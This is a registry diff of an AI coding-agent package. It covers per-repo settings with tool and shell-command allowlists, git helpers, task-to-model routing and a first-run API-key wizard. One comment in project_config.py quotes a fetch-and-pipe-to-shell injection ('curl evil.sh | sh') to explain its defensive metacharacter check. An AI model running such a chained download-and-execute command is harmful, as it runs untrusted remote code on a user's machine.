polymath-agent 0.4.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- polymath/__init__.py +2 -0
- polymath/adapters/__init__.py +7 -0
- polymath/adapters/base.py +175 -0
- polymath/adapters/claude.py +280 -0
- polymath/adapters/gemini.py +186 -0
- polymath/adapters/ollama.py +117 -0
- polymath/adapters/openai_adapter.py +168 -0
- polymath/bootstrap.py +159 -0
- polymath/command_registry.py +41 -0
- polymath/command_service.py +572 -0
- polymath/compressor.py +90 -0
- polymath/config.py +293 -0
- polymath/context_manager.py +76 -0
- polymath/context_store.py +336 -0
- polymath/detector.py +442 -0
- polymath/domain.py +78 -0
- polymath/execution_service.py +325 -0
- polymath/main.py +1293 -0
- polymath/memory/__init__.py +15 -0
- polymath/memory/chunker.py +6 -0
- polymath/memory/embedder.py +179 -0
- polymath/memory/migrate.py +2 -0
- polymath/memory/retriever.py +2 -0
- polymath/memory/store.py +9 -0
- polymath/memory/sync.py +2 -0
- polymath/memory/writer.py +9 -0
- polymath/model_policy.py +172 -0
- polymath/orchestrator/__init__.py +68 -0
- polymath/orchestrator/attempt_ledger.py +34 -0
- polymath/orchestrator/ensemble.py +229 -0
- polymath/orchestrator/fanout.py +322 -0
- polymath/orchestrator/output_policy.py +61 -0
- polymath/orchestrator/race.py +311 -0
- polymath/orchestrator/run_controller.py +91 -0
- polymath/orchestrator/speculative_review.py +120 -0
- polymath/orchestrator/state_responder.py +184 -0
- polymath/orchestrator/worker_pool.py +37 -0
- polymath/permissions.py +82 -0
- polymath/pipeline.py +700 -0
- polymath/project_config.py +229 -0
- polymath/project_runtime.py +109 -0
- polymath/router.py +127 -0
- polymath/setup_wizard.py +106 -0
- polymath/slash_commands.py +566 -0
- polymath/subagents.py +486 -0
- polymath/tools.py +333 -0
- polymath/ui_state.py +84 -0
- polymath/workspace.py +66 -0
- polymath_agent-0.4.0.dist-info/METADATA +693 -0
- polymath_agent-0.4.0.dist-info/RECORD +54 -0
- polymath_agent-0.4.0.dist-info/WHEEL +5 -0
- polymath_agent-0.4.0.dist-info/entry_points.txt +2 -0
- polymath_agent-0.4.0.dist-info/licenses/LICENSE +21 -0
- polymath_agent-0.4.0.dist-info/top_level.txt +1 -0
|
@@ -0,0 +1,229 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Per-repo .polymath/ project configuration.
|
|
3
|
+
|
|
4
|
+
When a .polymath/ folder exists in the current working directory (or any
|
|
5
|
+
parent), polymath treats it as the active project config source. This
|
|
6
|
+
folder is meant to be committed to git so settings are shared across the
|
|
7
|
+
whole team.
|
|
8
|
+
|
|
9
|
+
Structure:
|
|
10
|
+
.polymath/
|
|
11
|
+
├── context/ ← 9 typed context .md files (same as ~/.polymath/projects/)
|
|
12
|
+
├── commands/ ← custom slash command .md files
|
|
13
|
+
├── subagents/ ← custom subagent configs (.md or .json)
|
|
14
|
+
├── handoffs/ ← teammate handoff briefs
|
|
15
|
+
└── settings.json ← allowed_tools, allowed_shell_commands, model preferences
|
|
16
|
+
|
|
17
|
+
settings.json schema:
|
|
18
|
+
{
|
|
19
|
+
"allowed_tools": ["write_file", "run_shell_command"],
|
|
20
|
+
"allowed_shell_commands": ["git *", "pytest *", "npm *"],
|
|
21
|
+
"model_preferences": {
|
|
22
|
+
"primary": "claude",
|
|
23
|
+
"reviewer": "gemini"
|
|
24
|
+
}
|
|
25
|
+
}
|
|
26
|
+
"""
|
|
27
|
+
from __future__ import annotations
|
|
28
|
+
|
|
29
|
+
import fnmatch
|
|
30
|
+
import json
|
|
31
|
+
import shlex
|
|
32
|
+
from dataclasses import dataclass, field
|
|
33
|
+
from pathlib import Path
|
|
34
|
+
|
|
35
|
+
from polymath.config import CONFIG_DIR
|
|
36
|
+
|
|
37
|
+
|
|
38
|
+
@dataclass
|
|
39
|
+
class ProjectSettings:
|
|
40
|
+
allowed_tools: list[str] = field(default_factory=list)
|
|
41
|
+
allowed_shell_commands: list[str] = field(default_factory=list)
|
|
42
|
+
model_preferences: dict[str, str] = field(default_factory=dict)
|
|
43
|
+
raw: dict = field(default_factory=dict)
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
@dataclass
|
|
47
|
+
class LocalProject:
|
|
48
|
+
root: Path # absolute path to .polymath/
|
|
49
|
+
context_dir: Path # .polymath/context/
|
|
50
|
+
commands_dir: Path # .polymath/commands/
|
|
51
|
+
subagents_dir: Path # .polymath/subagents/
|
|
52
|
+
handoffs_dir: Path # .polymath/handoffs/
|
|
53
|
+
settings: ProjectSettings
|
|
54
|
+
|
|
55
|
+
|
|
56
|
+
def find_local_polymath(cwd: Path | None = None) -> Path | None:
|
|
57
|
+
"""
|
|
58
|
+
Walk upward from cwd looking for a .polymath/ directory.
|
|
59
|
+
Returns the absolute path of .polymath/ or None.
|
|
60
|
+
Mirrors git's upward-search behaviour.
|
|
61
|
+
"""
|
|
62
|
+
start = Path(cwd or Path.cwd()).resolve()
|
|
63
|
+
for directory in [start, *start.parents]:
|
|
64
|
+
candidate = directory / ".polymath"
|
|
65
|
+
if candidate.is_dir() and candidate.resolve() != CONFIG_DIR.resolve():
|
|
66
|
+
return candidate
|
|
67
|
+
return None
|
|
68
|
+
|
|
69
|
+
|
|
70
|
+
def load_project_settings(polymath_dir: Path) -> ProjectSettings:
|
|
71
|
+
"""Parse .polymath/settings.json. Missing keys use safe defaults."""
|
|
72
|
+
settings_file = polymath_dir / "settings.json"
|
|
73
|
+
if not settings_file.exists():
|
|
74
|
+
return ProjectSettings()
|
|
75
|
+
try:
|
|
76
|
+
data = json.loads(settings_file.read_text())
|
|
77
|
+
return ProjectSettings(
|
|
78
|
+
allowed_tools=list(data.get("allowed_tools", [])),
|
|
79
|
+
allowed_shell_commands=list(data.get("allowed_shell_commands", [])),
|
|
80
|
+
model_preferences=dict(data.get("model_preferences", {})),
|
|
81
|
+
raw=data,
|
|
82
|
+
)
|
|
83
|
+
except Exception:
|
|
84
|
+
return ProjectSettings()
|
|
85
|
+
|
|
86
|
+
|
|
87
|
+
def load_local_project(cwd: Path | None = None) -> LocalProject | None:
|
|
88
|
+
"""
|
|
89
|
+
If .polymath/ exists in cwd hierarchy, load its settings and return a
|
|
90
|
+
LocalProject. Returns None if no .polymath/ is found.
|
|
91
|
+
"""
|
|
92
|
+
polymath_dir = find_local_polymath(cwd)
|
|
93
|
+
if polymath_dir is None:
|
|
94
|
+
return None
|
|
95
|
+
settings = load_project_settings(polymath_dir)
|
|
96
|
+
return LocalProject(
|
|
97
|
+
root=polymath_dir,
|
|
98
|
+
context_dir=polymath_dir / "context",
|
|
99
|
+
commands_dir=polymath_dir / "commands",
|
|
100
|
+
subagents_dir=polymath_dir / "subagents",
|
|
101
|
+
handoffs_dir=polymath_dir / "handoffs",
|
|
102
|
+
settings=settings,
|
|
103
|
+
)
|
|
104
|
+
|
|
105
|
+
|
|
106
|
+
def is_tool_allowed(tool_name: str, settings: ProjectSettings) -> bool:
|
|
107
|
+
"""Return True if tool_name is in the project's allowed_tools list."""
|
|
108
|
+
return tool_name in settings.allowed_tools
|
|
109
|
+
|
|
110
|
+
|
|
111
|
+
#: Characters that let one command string become several, or redirect output.
|
|
112
|
+
#: A preapproved command may not contain any of them. Globbing over a raw
|
|
113
|
+
#: string is not a safe test: the pattern "git *" matches
|
|
114
|
+
#: "git status; curl evil.sh | sh" too, because `*` matches a semicolon.
|
|
115
|
+
SHELL_METACHARACTERS = frozenset(";&|<>`$()\n\r{}!*?[]")
|
|
116
|
+
|
|
117
|
+
|
|
118
|
+
def has_shell_metacharacters(command: str) -> bool:
|
|
119
|
+
"""True if the command could do more than run one program."""
|
|
120
|
+
return any(ch in SHELL_METACHARACTERS for ch in command)
|
|
121
|
+
|
|
122
|
+
|
|
123
|
+
def is_shell_command_allowed(command: str, settings: ProjectSettings) -> bool:
|
|
124
|
+
"""
|
|
125
|
+
Decide whether `command` may run without prompting the user.
|
|
126
|
+
|
|
127
|
+
Matching is on the parsed argument vector, never the raw string, and any
|
|
128
|
+
command carrying shell punctuation is refused outright — it has to be
|
|
129
|
+
approved by a human, whatever the patterns say.
|
|
130
|
+
|
|
131
|
+
A pattern is matched token by token: "git *" allows "git status" and
|
|
132
|
+
"git push origin main", and each pattern token must match its argument.
|
|
133
|
+
A trailing "*" in the pattern covers the remaining arguments.
|
|
134
|
+
"""
|
|
135
|
+
command = command.strip()
|
|
136
|
+
if not command or has_shell_metacharacters(command):
|
|
137
|
+
return False
|
|
138
|
+
try:
|
|
139
|
+
argv = shlex.split(command)
|
|
140
|
+
except ValueError:
|
|
141
|
+
return False
|
|
142
|
+
if not argv:
|
|
143
|
+
return False
|
|
144
|
+
|
|
145
|
+
for pattern in settings.allowed_shell_commands:
|
|
146
|
+
try:
|
|
147
|
+
pattern_argv = shlex.split(pattern.strip())
|
|
148
|
+
except ValueError:
|
|
149
|
+
continue
|
|
150
|
+
if _argv_matches(argv, pattern_argv):
|
|
151
|
+
return True
|
|
152
|
+
return False
|
|
153
|
+
|
|
154
|
+
|
|
155
|
+
def _argv_matches(argv: list[str], pattern_argv: list[str]) -> bool:
|
|
156
|
+
"""Token-wise match between a command and one allowlist pattern.
|
|
157
|
+
|
|
158
|
+
Each pattern token is matched against the argument in the same position.
|
|
159
|
+
If the pattern's last token ends in "*" the command may carry further
|
|
160
|
+
arguments, which is what both "git *" and "pytest*" are asking for.
|
|
161
|
+
Otherwise the lengths must agree, so "git status" does not allow
|
|
162
|
+
"git status --porcelain".
|
|
163
|
+
"""
|
|
164
|
+
if not pattern_argv:
|
|
165
|
+
return False
|
|
166
|
+
open_ended = pattern_argv[-1].endswith("*")
|
|
167
|
+
if len(argv) < len(pattern_argv):
|
|
168
|
+
return False
|
|
169
|
+
if len(argv) > len(pattern_argv) and not open_ended:
|
|
170
|
+
return False
|
|
171
|
+
for token, arg in zip(pattern_argv, argv):
|
|
172
|
+
if not fnmatch.fnmatch(arg, token):
|
|
173
|
+
return False
|
|
174
|
+
return True
|
|
175
|
+
|
|
176
|
+
|
|
177
|
+
def init_local_project(cwd: Path | None = None) -> LocalProject:
|
|
178
|
+
"""
|
|
179
|
+
Create a .polymath/ folder in cwd with default structure.
|
|
180
|
+
Idempotent — safe to call on an existing project.
|
|
181
|
+
Returns the loaded LocalProject.
|
|
182
|
+
"""
|
|
183
|
+
from polymath.config import CONFIG_DIR # avoid circular at module level
|
|
184
|
+
base = Path(cwd or Path.cwd()).resolve() / ".polymath"
|
|
185
|
+
|
|
186
|
+
for subdir in ("context", "commands", "subagents", "handoffs"):
|
|
187
|
+
(base / subdir).mkdir(parents=True, exist_ok=True)
|
|
188
|
+
|
|
189
|
+
# Default settings.json
|
|
190
|
+
settings_file = base / "settings.json"
|
|
191
|
+
if not settings_file.exists():
|
|
192
|
+
default = {
|
|
193
|
+
"allowed_tools": ["list_directory", "read_file"],
|
|
194
|
+
"allowed_shell_commands": [],
|
|
195
|
+
"model_preferences": {},
|
|
196
|
+
}
|
|
197
|
+
settings_file.write_text(json.dumps(default, indent=2))
|
|
198
|
+
|
|
199
|
+
# Bootstrap context files
|
|
200
|
+
_init_context_files(base / "context")
|
|
201
|
+
|
|
202
|
+
# .gitignore hint file
|
|
203
|
+
hint = base / ".gitignore_hint"
|
|
204
|
+
if not hint.exists():
|
|
205
|
+
hint.write_text(
|
|
206
|
+
"# Add .polymath/ to your repo's .gitignore ONLY if you want context private.\n"
|
|
207
|
+
"# By default, commit it — that's how teammates share context.\n"
|
|
208
|
+
)
|
|
209
|
+
|
|
210
|
+
return load_local_project(base.parent) # type: ignore[arg-type]
|
|
211
|
+
|
|
212
|
+
|
|
213
|
+
def _init_context_files(context_dir: Path) -> None:
|
|
214
|
+
"""Create empty context .md stubs if they don't already exist."""
|
|
215
|
+
descriptions = {
|
|
216
|
+
"rules": "Golden rules and hard constraints — never break these.",
|
|
217
|
+
"logic": "Business and domain logic — how things work.",
|
|
218
|
+
"code": "Code patterns, conventions, and architecture.",
|
|
219
|
+
"stack": "Tech stack, dependencies, versions, environment.",
|
|
220
|
+
"data": "Data schemas, field definitions, sample data.",
|
|
221
|
+
"goals": "Project objectives, success criteria, scope.",
|
|
222
|
+
"decisions": "Past decisions and their rationale (ADR-style).",
|
|
223
|
+
"glossary": "Domain-specific terms and definitions.",
|
|
224
|
+
"personas": "Tone, behavior, and communication style.",
|
|
225
|
+
}
|
|
226
|
+
for name, desc in descriptions.items():
|
|
227
|
+
f = context_dir / f"{name}.md"
|
|
228
|
+
if not f.exists():
|
|
229
|
+
f.write_text(f"# {name.title()}\n\n> {desc}\n\n")
|
|
@@ -0,0 +1,109 @@
|
|
|
1
|
+
from __future__ import annotations
|
|
2
|
+
|
|
3
|
+
import subprocess
|
|
4
|
+
from pathlib import Path
|
|
5
|
+
|
|
6
|
+
from polymath.config import PROJECTS_DIR
|
|
7
|
+
from polymath.domain import Project
|
|
8
|
+
from polymath.project_config import LocalProject, load_local_project
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
def _git_root(cwd: Path | None = None) -> Path | None:
|
|
12
|
+
try:
|
|
13
|
+
result = subprocess.run(
|
|
14
|
+
["git", "rev-parse", "--show-toplevel"],
|
|
15
|
+
cwd=str(cwd or Path.cwd()),
|
|
16
|
+
capture_output=True,
|
|
17
|
+
text=True,
|
|
18
|
+
timeout=3,
|
|
19
|
+
)
|
|
20
|
+
if result.returncode == 0 and result.stdout.strip():
|
|
21
|
+
return Path(result.stdout.strip())
|
|
22
|
+
except Exception:
|
|
23
|
+
pass
|
|
24
|
+
return None
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
def _git_branch(cwd: Path | None = None) -> str:
|
|
28
|
+
try:
|
|
29
|
+
result = subprocess.run(
|
|
30
|
+
["git", "rev-parse", "--abbrev-ref", "HEAD"],
|
|
31
|
+
cwd=str(cwd or Path.cwd()),
|
|
32
|
+
capture_output=True,
|
|
33
|
+
text=True,
|
|
34
|
+
timeout=3,
|
|
35
|
+
)
|
|
36
|
+
if result.returncode == 0:
|
|
37
|
+
return result.stdout.strip()
|
|
38
|
+
except Exception:
|
|
39
|
+
pass
|
|
40
|
+
return ""
|
|
41
|
+
|
|
42
|
+
|
|
43
|
+
def _git_dirty(cwd: Path | None = None) -> bool:
|
|
44
|
+
try:
|
|
45
|
+
result = subprocess.run(
|
|
46
|
+
["git", "status", "--porcelain"],
|
|
47
|
+
cwd=str(cwd or Path.cwd()),
|
|
48
|
+
capture_output=True,
|
|
49
|
+
text=True,
|
|
50
|
+
timeout=3,
|
|
51
|
+
)
|
|
52
|
+
return result.returncode == 0 and bool(result.stdout.strip())
|
|
53
|
+
except Exception:
|
|
54
|
+
return False
|
|
55
|
+
|
|
56
|
+
|
|
57
|
+
def resolve_project(active_project: str = "", cwd: Path | None = None) -> Project:
|
|
58
|
+
local_project: LocalProject | None = load_local_project(cwd)
|
|
59
|
+
repo_root = _git_root(cwd)
|
|
60
|
+
branch = _git_branch(repo_root or cwd)
|
|
61
|
+
dirty = _git_dirty(repo_root or cwd)
|
|
62
|
+
detached_exists = bool(active_project) and (PROJECTS_DIR / active_project).is_dir()
|
|
63
|
+
|
|
64
|
+
if local_project:
|
|
65
|
+
repo_project_name = local_project.root.parent.name
|
|
66
|
+
if active_project and active_project != repo_project_name and detached_exists:
|
|
67
|
+
return Project(
|
|
68
|
+
name=active_project,
|
|
69
|
+
source="local",
|
|
70
|
+
local_project=None,
|
|
71
|
+
repo_root=repo_root,
|
|
72
|
+
repo_branch=branch,
|
|
73
|
+
repo_dirty=dirty,
|
|
74
|
+
)
|
|
75
|
+
name = active_project or repo_project_name
|
|
76
|
+
return Project(
|
|
77
|
+
name=name,
|
|
78
|
+
source="repo",
|
|
79
|
+
shared_root=local_project.root,
|
|
80
|
+
local_project=local_project,
|
|
81
|
+
repo_root=repo_root,
|
|
82
|
+
repo_branch=branch,
|
|
83
|
+
repo_dirty=dirty,
|
|
84
|
+
)
|
|
85
|
+
|
|
86
|
+
return Project(
|
|
87
|
+
name=active_project,
|
|
88
|
+
source="local" if active_project else "none",
|
|
89
|
+
local_project=None,
|
|
90
|
+
repo_root=repo_root,
|
|
91
|
+
repo_branch=branch,
|
|
92
|
+
repo_dirty=dirty,
|
|
93
|
+
)
|
|
94
|
+
|
|
95
|
+
|
|
96
|
+
def project_provenance_lines(project: Project) -> list[str]:
|
|
97
|
+
lines: list[str] = []
|
|
98
|
+
if project.shared and project.shared_root:
|
|
99
|
+
lines.append(f"shared repo context active: {project.shared_root}")
|
|
100
|
+
if project.local_project and project.local_project.settings.raw:
|
|
101
|
+
lines.append(f"settings source: {project.shared_root / 'settings.json'}")
|
|
102
|
+
elif project.name:
|
|
103
|
+
lines.append("local runtime project only: no shared repo .polymath/")
|
|
104
|
+
else:
|
|
105
|
+
lines.append("no active project context")
|
|
106
|
+
if project.repo_root:
|
|
107
|
+
state = "dirty" if project.repo_dirty else "clean"
|
|
108
|
+
lines.append(f"git: {project.repo_root.name} | branch: {project.repo_branch or '?'} | {state}")
|
|
109
|
+
return lines
|
polymath/router.py
ADDED
|
@@ -0,0 +1,127 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Task classification + model selection.
|
|
3
|
+
|
|
4
|
+
Priority order (configurable):
|
|
5
|
+
quality-first → claude-sonnet → gpt-4o → gemini-pro → haiku → gpt-mini → gemini-flash → ollama
|
|
6
|
+
cost-first → ollama → gemini-flash → gpt-mini → haiku → gemini-pro → gpt-4o → sonnet
|
|
7
|
+
speed-first → fastest available
|
|
8
|
+
balanced → quality+speed balanced
|
|
9
|
+
"""
|
|
10
|
+
from __future__ import annotations
|
|
11
|
+
|
|
12
|
+
import re
|
|
13
|
+
|
|
14
|
+
from polymath.config import (
|
|
15
|
+
CostTier, ModelInfo, PRIORITY_PROFILES, TaskComplexity, TaskType,
|
|
16
|
+
)
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
# ── Task classification ───────────────────────────────────────────────────────
|
|
20
|
+
|
|
21
|
+
CODE_PATTERNS = re.compile(
|
|
22
|
+
r"\b(code|function|class|script|debug|fix|implement|refactor|test|"
|
|
23
|
+
r"python|javascript|typescript|java|sql|bash|regex|algorithm|api)\b",
|
|
24
|
+
re.IGNORECASE,
|
|
25
|
+
)
|
|
26
|
+
MATH_PATTERNS = re.compile(
|
|
27
|
+
r"\b(calculate|compute|solve|equation|integral|derivative|matrix|"
|
|
28
|
+
r"probability|statistics|formula|proof)\b",
|
|
29
|
+
re.IGNORECASE,
|
|
30
|
+
)
|
|
31
|
+
CREATIVE_PATTERNS = re.compile(
|
|
32
|
+
r"\b(write|story|poem|creative|essay|blog|draft|imagine|design|name|"
|
|
33
|
+
r"brand|pitch|marketing|ad|copy|brainstorm|ideas|suggest)\b",
|
|
34
|
+
re.IGNORECASE,
|
|
35
|
+
)
|
|
36
|
+
RESEARCH_PATTERNS = re.compile(
|
|
37
|
+
r"\b(research|explain|summarize|compare|analyze|review|evaluate|"
|
|
38
|
+
r"pros.?cons|trade.?off|overview|history|why|how does|background|context|investigate|study)\b",
|
|
39
|
+
re.IGNORECASE,
|
|
40
|
+
)
|
|
41
|
+
ANALYSIS_PATTERNS = re.compile(
|
|
42
|
+
r"\b(analyze|analyse|data|chart|trend|insight|report|breakdown|"
|
|
43
|
+
r"metric|performance|benchmark)\b",
|
|
44
|
+
re.IGNORECASE,
|
|
45
|
+
)
|
|
46
|
+
|
|
47
|
+
|
|
48
|
+
def classify_task(text: str) -> TaskType:
|
|
49
|
+
scores = {
|
|
50
|
+
TaskType.CODE: len(CODE_PATTERNS.findall(text)),
|
|
51
|
+
TaskType.MATH: len(MATH_PATTERNS.findall(text)),
|
|
52
|
+
TaskType.CREATIVE: len(CREATIVE_PATTERNS.findall(text)),
|
|
53
|
+
TaskType.RESEARCH: len(RESEARCH_PATTERNS.findall(text)),
|
|
54
|
+
TaskType.ANALYSIS: len(ANALYSIS_PATTERNS.findall(text)),
|
|
55
|
+
}
|
|
56
|
+
best = max(scores, key=scores.get)
|
|
57
|
+
return best if scores[best] > 0 else TaskType.GENERAL
|
|
58
|
+
|
|
59
|
+
|
|
60
|
+
def classify_complexity(text: str) -> TaskComplexity:
|
|
61
|
+
words = len(text.split())
|
|
62
|
+
has_multi = bool(re.search(r"\b(and|also|then|after|next|finally|step|split|separately|independently)\b", text, re.I))
|
|
63
|
+
if words < 15 and not has_multi:
|
|
64
|
+
return TaskComplexity.SIMPLE
|
|
65
|
+
if words < 50 or not has_multi:
|
|
66
|
+
return TaskComplexity.MEDIUM
|
|
67
|
+
return TaskComplexity.COMPLEX
|
|
68
|
+
|
|
69
|
+
|
|
70
|
+
# ── Model selection ───────────────────────────────────────────────────────────
|
|
71
|
+
|
|
72
|
+
def select_primary(
|
|
73
|
+
available: list[ModelInfo],
|
|
74
|
+
task_type: TaskType,
|
|
75
|
+
profile: str = "quality-first",
|
|
76
|
+
force_provider: str = "",
|
|
77
|
+
force_cheap: bool = False,
|
|
78
|
+
force_fast: bool = False,
|
|
79
|
+
) -> ModelInfo | None:
|
|
80
|
+
candidates = [m for m in available if m.available and m.supports(task_type)]
|
|
81
|
+
|
|
82
|
+
if force_provider:
|
|
83
|
+
candidates = [m for m in candidates if m.provider == force_provider]
|
|
84
|
+
|
|
85
|
+
if force_cheap:
|
|
86
|
+
profile = "cost-first"
|
|
87
|
+
elif force_fast:
|
|
88
|
+
profile = "speed-first"
|
|
89
|
+
|
|
90
|
+
if not candidates:
|
|
91
|
+
# Fallback: any available model
|
|
92
|
+
candidates = [m for m in available if m.available]
|
|
93
|
+
|
|
94
|
+
if not candidates:
|
|
95
|
+
return None
|
|
96
|
+
|
|
97
|
+
sort_key = PRIORITY_PROFILES.get(profile, PRIORITY_PROFILES["quality-first"])
|
|
98
|
+
return sorted(candidates, key=sort_key)[0]
|
|
99
|
+
|
|
100
|
+
|
|
101
|
+
def select_reviewer(
|
|
102
|
+
available: list[ModelInfo],
|
|
103
|
+
primary: ModelInfo,
|
|
104
|
+
profile: str = "quality-first",
|
|
105
|
+
) -> ModelInfo | None:
|
|
106
|
+
"""Pick best available model that is NOT the same model as primary."""
|
|
107
|
+
candidates = [
|
|
108
|
+
m for m in available
|
|
109
|
+
if m.available and m.id != primary.id and m.quality >= 3
|
|
110
|
+
]
|
|
111
|
+
if not candidates:
|
|
112
|
+
# Relax quality requirement
|
|
113
|
+
candidates = [m for m in available if m.available and m.id != primary.id]
|
|
114
|
+
if not candidates:
|
|
115
|
+
return None
|
|
116
|
+
sort_key = PRIORITY_PROFILES.get(profile, PRIORITY_PROFILES["quality-first"])
|
|
117
|
+
return sorted(candidates, key=sort_key)[0]
|
|
118
|
+
|
|
119
|
+
|
|
120
|
+
def select_summarizer(available: list[ModelInfo]) -> tuple[ModelInfo, str] | None:
|
|
121
|
+
"""Pick cheapest+fast model for context compression."""
|
|
122
|
+
candidates = [m for m in available if m.available]
|
|
123
|
+
if not candidates:
|
|
124
|
+
return None
|
|
125
|
+
sort_key = PRIORITY_PROFILES["cost-first"]
|
|
126
|
+
cheapest = sorted(candidates, key=sort_key)[0]
|
|
127
|
+
return cheapest
|
polymath/setup_wizard.py
ADDED
|
@@ -0,0 +1,106 @@
|
|
|
1
|
+
"""
|
|
2
|
+
First-run setup wizard.
|
|
3
|
+
Detects existing keys, prompts for missing ones, saves to ~/.polymath/config.json.
|
|
4
|
+
"""
|
|
5
|
+
from __future__ import annotations
|
|
6
|
+
|
|
7
|
+
import shutil
|
|
8
|
+
from rich.console import Console
|
|
9
|
+
from rich.prompt import Prompt, Confirm
|
|
10
|
+
from rich.table import Table
|
|
11
|
+
from rich import box
|
|
12
|
+
|
|
13
|
+
from polymath.config import (
|
|
14
|
+
PRIORITY_PROFILES, load_config, save_config, CONFIG_DIR
|
|
15
|
+
)
|
|
16
|
+
from polymath.detector import detect
|
|
17
|
+
|
|
18
|
+
console = Console()
|
|
19
|
+
|
|
20
|
+
PROVIDERS = {
|
|
21
|
+
"claude": ("Anthropic (Claude)", "https://console.anthropic.com/settings/keys"),
|
|
22
|
+
"gemini": ("Google (Gemini)", "https://aistudio.google.com/app/apikey"),
|
|
23
|
+
"openai": ("OpenAI (GPT/Codex)", "https://platform.openai.com/api-keys"),
|
|
24
|
+
"mistral": ("Mistral AI", "https://console.mistral.ai/api-keys"),
|
|
25
|
+
"groq": ("Groq", "https://console.groq.com/keys"),
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
|
|
29
|
+
def run_wizard(force: bool = False) -> dict:
|
|
30
|
+
cfg = load_config()
|
|
31
|
+
|
|
32
|
+
if not force and cfg.get("_setup_done"):
|
|
33
|
+
return cfg
|
|
34
|
+
|
|
35
|
+
console.print("\n[bold cyan]polymath[/bold cyan] — first-time setup\n")
|
|
36
|
+
|
|
37
|
+
# 1. Priority profile
|
|
38
|
+
console.print("[bold]Model priority profile[/bold]")
|
|
39
|
+
for i, name in enumerate(PRIORITY_PROFILES.keys(), 1):
|
|
40
|
+
console.print(f" {i}. {name}")
|
|
41
|
+
choice = Prompt.ask("Choose profile", choices=["1","2","3","4"], default="1")
|
|
42
|
+
cfg["priority_profile"] = list(PRIORITY_PROFILES.keys())[int(choice)-1]
|
|
43
|
+
|
|
44
|
+
# 2. Detect & show what's found
|
|
45
|
+
console.print("\n[bold]Detecting installed models...[/bold]")
|
|
46
|
+
registry = detect()
|
|
47
|
+
available = [m for m in registry if m.available]
|
|
48
|
+
|
|
49
|
+
table = Table(box=box.SIMPLE, show_header=True)
|
|
50
|
+
table.add_column("Model", style="cyan")
|
|
51
|
+
table.add_column("Provider")
|
|
52
|
+
table.add_column("Tier")
|
|
53
|
+
table.add_column("Status")
|
|
54
|
+
|
|
55
|
+
for m in registry:
|
|
56
|
+
status = "[green]available[/green]" if m.available else "[dim]not found[/dim]"
|
|
57
|
+
table.add_row(m.display_name, m.provider, m.cost_tier.name.lower(), status)
|
|
58
|
+
console.print(table)
|
|
59
|
+
|
|
60
|
+
# 3. Offer to add missing API keys
|
|
61
|
+
missing_providers = {
|
|
62
|
+
p for p in PROVIDERS
|
|
63
|
+
if not cfg.get("api_keys", {}).get(p)
|
|
64
|
+
and not any(m.available and m.provider == p for m in registry)
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
if missing_providers:
|
|
68
|
+
console.print("\n[bold]Add API keys for missing providers?[/bold]")
|
|
69
|
+
for provider in missing_providers:
|
|
70
|
+
name, url = PROVIDERS[provider]
|
|
71
|
+
if Confirm.ask(f" Add key for [cyan]{name}[/cyan]?", default=False):
|
|
72
|
+
key = Prompt.ask(f" {name} API key (get at {url})", password=True)
|
|
73
|
+
if key.strip():
|
|
74
|
+
cfg.setdefault("api_keys", {})[provider] = key.strip()
|
|
75
|
+
|
|
76
|
+
# 4. Review rounds
|
|
77
|
+
rounds = Prompt.ask("\nMax review rounds per task", default="2", choices=["1","2","3"])
|
|
78
|
+
cfg["review_rounds"] = int(rounds)
|
|
79
|
+
|
|
80
|
+
cfg["_setup_done"] = True
|
|
81
|
+
save_config(cfg)
|
|
82
|
+
console.print("\n[green]Setup complete.[/green] Config saved to ~/.polymath/config.json")
|
|
83
|
+
console.print("[dim]API keys stored in plaintext at ~/.polymath/config.json — keep this file private[/dim]\n")
|
|
84
|
+
return cfg
|
|
85
|
+
|
|
86
|
+
|
|
87
|
+
def show_models() -> None:
|
|
88
|
+
registry = detect()
|
|
89
|
+
table = Table(title="Available models", box=box.SIMPLE)
|
|
90
|
+
table.add_column("Model", style="cyan")
|
|
91
|
+
table.add_column("Provider")
|
|
92
|
+
table.add_column("Quality", justify="center")
|
|
93
|
+
table.add_column("Speed", justify="center")
|
|
94
|
+
table.add_column("Tier")
|
|
95
|
+
table.add_column("Context")
|
|
96
|
+
|
|
97
|
+
for m in sorted(registry, key=lambda x: (-x.quality, x.cost_tier.value)):
|
|
98
|
+
if not m.available:
|
|
99
|
+
continue
|
|
100
|
+
table.add_row(
|
|
101
|
+
m.display_name, m.provider,
|
|
102
|
+
"★" * m.quality, "⚡" * m.speed,
|
|
103
|
+
m.cost_tier.name.lower(),
|
|
104
|
+
f"{m.context_window // 1000}K",
|
|
105
|
+
)
|
|
106
|
+
console.print(table)
|